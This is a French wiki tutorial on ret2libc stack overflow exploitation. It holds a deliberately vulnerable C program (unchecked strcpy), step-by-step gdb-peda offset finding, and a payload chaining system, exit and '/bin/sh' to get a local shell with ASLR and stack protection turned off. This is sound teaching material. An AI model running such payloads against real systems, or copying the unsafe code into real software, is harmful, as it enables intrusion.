Outils pour utilisateurs

Outils du site


appsysteme:ret2libc

Buffer Overflow - ret2libc

Avant de commencer

La lecture de Buffer Overflow basique est fortement conseillée avant de continuer. Pensez à installer gdb-peda. Désactivez l'ASLR (echo 0 | sudo tee /proc/sys/kernel/randomize_va_space)

Contexte

Le ret2libc est une méthode qui permet d'exploiter un binaire compilé avec une pile non exécutable. Pourquoi ? Car, au lieu de mettre un shellcode sur la pile et de l'exécuter, nous allons directement utiliser les fonctions de la libc.

Mise en place du programme

#include <stdio.h>
#include <string.h>
 
void vuln(char* string){
        char buffer[32];
        strcpy(buffer, string);
        printf("Done :");
}
 
int main(int argc, char** argv){
 
        vuln(argv[1]);
        return 0;
}

On compile tout ça :

ghozt@maze:~/doku/system/ret2libc$ gcc -o ret2libc ret2lib.c -m32 -fno-stack-protector

Get a shell

Trouver l'offset

Le premier objectif est de trouver l'offset qui nous permettra d'écraser l'adresse de retour, pour cela nous allons utiliser les patterns de peda.

gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
Starting program: /home/ghozt/doku/system/ret2libc/ret2libc 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'

Program received signal SIGSEGV, Segmentation fault.
...
EIP: 0x41414641 ('AFAA')
...

gdb-peda$ pattern_offset AFAA
AFAA found at offset: 44

# pattern_offset AFAA cherche à quel offset se trouve la chaîne "AFAA" dans le pattern généré (soit 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA')

Nous avons maintenant toutes les données pour réaliser un buffer overflow, vérifions tout de même notre offset.

gdb-peda$ r $(python -c 'print "A"*44+"\xef\xbe\xad\xde"')
...
EIP: 0xdeadbeef
...
Stopped reason: SIGSEGV
0xdeadbeef in ?? ()

Comportement de la pile lors d'un appel de fonction

En effectuant l'overflow, nous écrasons l'adresse de retour de la fonction dans laquelle nous nous trouvons. Donc lors de l'instruction RET (POP EIP, JUMP EIP) nous allons pouvoir détourner le flot d’exécution du programme.

     PILE
 __________________
|      EIP         | ret; ==> POP EIP, JUMP EIP
| adresse de retour|
|       arg1       |
|       arg2       |
|       ...        |

Création du payload

D'après le schéma ci dessus, notre payload devrait ressembler à ceci : Junk pour atteindre EIP + adresse de system + adresse de retour + adresse “/bin/sh”

Pour faire propre, nous allons mettre exit en adresse de retour. Allons chercher ces infos :

gdb-peda$ p system (ou print system)
$1 = {<text variable, no debug info>} 0xf7e443e0 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e371b0 <exit>
gdb-peda$ searchmem /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f65551 ("/bin/sh")

Le payload final :

$(python -c 'print "A"*44+"\xe0\x43\xe4\xf7"+"\xb0\x71\xe3\xf7"+"\x51\x55\xf6\xf7"')
                      ^           ^                 ^                   ^   
                      |           |                 |                   |  
                    JUNK        system             exit             "/bin/sh"
                    
gdb-peda$ r $(python -c 'print "A"*44+"\xe0\x43\xe4\xf7"+"\xb0\x71\xe3\xf7"+"\x51\x55\xf6\xf7"')
Starting program: /home/ghozt/doku/system/ret2libc/ret2libc $(python -c 'print "A"*44+"\xe0\x43\xe4\xf7"+"\xb0\x71\xe3\xf7"+"\x51\x55\xf6\xf7"')
[New process 26485]
process 26485 is executing new program: /bin/dash

ghozt@maze:~/doku/system/ret2libc$ ./ret2libc $(python -c 'print "A"*44+"\xe0\x43\xe4\xf7"+"\xb0\x71\xe3\xf7"+"\x51\x55\xf6\xf7"')
$

Et voilà le travail :) une méthode simple et efficace pour bypass une pile non exécutable.

appsysteme/ret2libc.txt · Dernière modification: 2016/11/09 09:28 par ghozt